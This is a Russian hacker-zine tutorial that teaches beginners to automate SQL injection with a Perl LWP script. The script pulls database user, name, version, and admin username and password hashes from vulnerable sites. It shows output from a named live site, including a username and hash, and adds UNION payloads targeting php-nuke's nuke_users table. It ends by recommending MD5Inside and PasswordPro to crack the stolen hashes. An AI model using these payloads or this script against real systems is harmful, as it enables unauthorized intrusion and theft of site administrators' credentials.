[ Подарок новичку ]
Примечание: данные примеры расчитаны большей частью на работу с php-nuke.
Привет тебе начинающий хэкер, ты наверно несколько ночей сидел и пробовал
провести Sql Injection на каком нить бажном сайте, но у тебя нечего не
получалось
Сегодня мы с тобой совместим sql injection с кодингом на языке Perl, а
имено напишем небольшой скрипт который будет делать за нас грязную работу,
т.е подбирать столбцы, вытаскивать имя пользователя базы данных и т.д. Что
нам нужно для начала ну это конечно основы аттаки sql injection и умение
кодить на Perl и работать с библиотекой LWP. Если ты даже вообще не знаешь
что такое perl, то я надеюсь что ты увидешь какой он легкий и как на нем
быстро можно создавать скрипты или программы и наконец возьмешь его в свой
арсенал. В этой статье я покажу самою малость на что способна библиотека
LWP и конечно для тебя в этом журнале будет ждать полностью переведенная
на русский язык документация по LWP, так что сять по удобней и приготовся,
начинаем :)
Начну с небольшой истории, как то вечером я, Rat и Piton нашли багу в
нете на ней была бональная sql injection, поюзав питон вытащил имя и хеш
админа, оставалось тока сбрутить и все, тут меня постигла идея написать
скрипт для более удобной работы со стандарными sql - запросами и так я
воплотил эту идею и решил поделится ею стобой, как не крути а для начинающего
это будет полезно. И так суть скрипта выполнить запросы для получения
версии мускула, имени пользователя бд(базы данных) и имя самой бд. Начнем
кодить на Perl`е для этого надо что бы у тебя был на компе Active Perl.
И так тело скрипта:
#!/usr/bin/perl
use LWP::Simple; #Подключаю LWP
print "Enter Name Site:"; #Вывод сообщения о просьбе ввести адрес сайта
$site = <STDIN>; #Ввод с клавиатуры
print "Enter Columns:"; #Вывод сообщения о просьбе ввести номер столбца
$number = <STDIN>; #Ввод с клавиатуры
$Column = "'+union+select+$number/*"; #Запрос sql для выполнения к $number будет присвоено значение которое мы введем с клавиатуры
$usermysql = "'+union+select+user()/*"; #Запрос sql для выполнения и получения имени пользователя БД
$database = "'+union+select+database()/*"; #Запрос sql для выполнения и получения имени БД
$version = "'+union+select+version()/*"; #Запрос sql для выполнения и получения версии мускула
$username = "'+union+select+username+from+user/*"; #Запрос sql для выполнения и получении имени из таблици "user"
$password = "'+union+select+password+from+user/*"; #Запрос sql для выполнения и получении пароля из таблици "user"
#Начинаем выполнять запросы
$Column = get "$site $Column"; #К переменой $site будет присвоено имя сайта которое мы введем, а $column запрос который мы присвоили переменой
$usermysql = get "$site $usermysql"; #То же самое тока на этот раз с выполняем другой запрос, дальше в том же духе
$database = get "$site $database";
$version = get "$site $version";
$username = get "$site $username";
$password = get "$site $password";
#Выводим данные на экран
if($Column) { #Используем оператор if
print "Columns : $Column\n"; #Если столбец подобран вывод на экран
} else { #А если нет то
print "Columns not Select\n"; #Вывод сообщения о том что столбец не подобран
} #Закрываем работу оператора
print "Usermysql name : $usermysql\n"; #Вывод имени пользователя БД
print "Databases name : $database\n"; #Вывод имени БД
print "Mysql Version : $version\n"; #Вывод версии мускула
print "Admin : $username\n"; #Вывод имени администратора
print "Hash : $password\n"; #Вывод хеша администратора
Сохраним файл под именим test.pl, любой скрипт на перле надо сохранять
с расширением pl. если только это не cgi скрипт.
Наш скрипт готов к работе, теперь сайт который с ошибкой
http://www.tusovoditel.de/kit/picture.php?pid=1, наш скрипт будет
работать если указать ему полный url где выскакивает sql injection,
заметь что одинарной ковычки не надо ставить когда будешь писать адрес
в скрипте, одинарная ковычка есть, она встроена к нашим переменым :) И
так настало время испытать скрипт запускаем вводим имя сайта, затем номер
столбца. Скрипт выдаст:
Enter Name Site:http://www.tusovoditel.de/kit/picture.php?pid=1
Enter Columns:2
Columns : 2
Usermysql name : h_tuso@localhost
Databases name : h_tuso-db1
Mysql Version : 4.1.12-standard
Admin : special
Hash : 9c27dfdc579a7b7c7ef566f79212eb74d58f7949
Вот так вот одним махом убили 5-ых зайцев. Работа скрипта проста,
послать данные и получить ответ, на этом сайте была стандартная таблица
"user" поля конечно username и password так что мы без труда получили
то что хотели. А как подбирать имена таблиц спросишь ты меня? Посоветую
почитать сатьи о Sql Injection там ты все поймешь. А вот если мы работаем
с движком php-nuke, тут я тебе намекну что имя таблици где лежат акки и
пароли называется так "nuke_users" следовательно если мы нашли баг на
каком нить сайте с движком php nuke наша переменая выглядела бы так:
$nuke = "'+union+select+username+from+nuke_users/*";
$nuke = "'+union+select+user_password+from+nuke_users/*";
Вот тебе содержимое всех полей таблицы "nuke_users" стратегические важные для тебя я выделил крупным шрифтом:
_____________________________________________________________________________________
=user_id username user_email user_website =
=user_avatar user_regdate user_icq user_occ =
=user_from user_interests user_sig user_viewemail =
=user_theme user_aim user_yim user_msnm =
=user_password storynum umode uorder =
=thold noscore bio ublockon =
=ublock theme commentmax counter =
=newsletter user_posts user_attachsig user_rank =
=user_level broadcast popmeson user_active =
=user_session_time user_session_page user_lastvisit user_timezone =
=user_style user_lang user_dateformat user_new_privmsg =
=user_unread_privmsg user_last_privmsg user_emailtime user_allowhtml =
=user_allowbbcode user_allowsmile user_allowavatar user_allow_pm =
=user_allow_viewonline user_notify user_notify_pm user_popup_pm =
=user_avatar_type user_sig_bbcode_uid user_actkey user_newpasswd =
=points last_ip karma =
_____________________________________________________________________________________
Конечно хочется слега улучшить скрипт что бы не писать полный адрес к
ссылке с ошибкой, скажем так к примеру мы нашли на baqtrack`е уязвимость
sql injection там написано что в движке php-nuke версии скажем 8 в скрипте
mainfile.php есть баг который позволяет выполнить sql команды на сервер.
Мы конечно не обламываемся и пишем скрипт для реализации этой уязвимости :)
К примеру сайт "www.nuke.ru/mainfile.php?code_id=1" если поставим кавычку
то увидим sql injection, отлично теперь мы знаем что нам делать, даем
переменым такой запрос:
$nukeid = "/mainfile.php?code_id=1'+union+select+user_id+from+nuke_users/*"; #Получить id пользователя
$nukename = "/mainfile.php?code_id=1'+union+select+username+from+nuke_users/*; #Получить имя
$nukepass = "/mainfile.php?code_id=1'+union+select+user_password+from+nuke_users/*"; #Получить хеш
www.nuke.ru - Это сайт я к примеру привел на нем нет данной ошибки (для тех кто в танке) :)
И так нашим переменым мы дали более удобный запрос для выполнения скрипта,
теперь нам надо ввести имя сайта www.nuke.ru и все остальное сделает
скрипт, если все пройдет хорошо мы увидим желаемые результаты. Думаю я
показал на сколько хорош perl в руках хакера, если тебе он понравился то
читай документацию по нему, познавай так сказать хороший инструмент для
быстрого написания либого рода скрипта.
После того как вы срубите хеш, сбрутить вы можите программками MD5Inside,
PasswordPro, или воспользоваться сервисами в интернете для брута паролей!
Ну вот и все с вами был Outlaw с наступающим всех.
P.S. Документация по LWP лежит в инклудах.
(с) Outlaw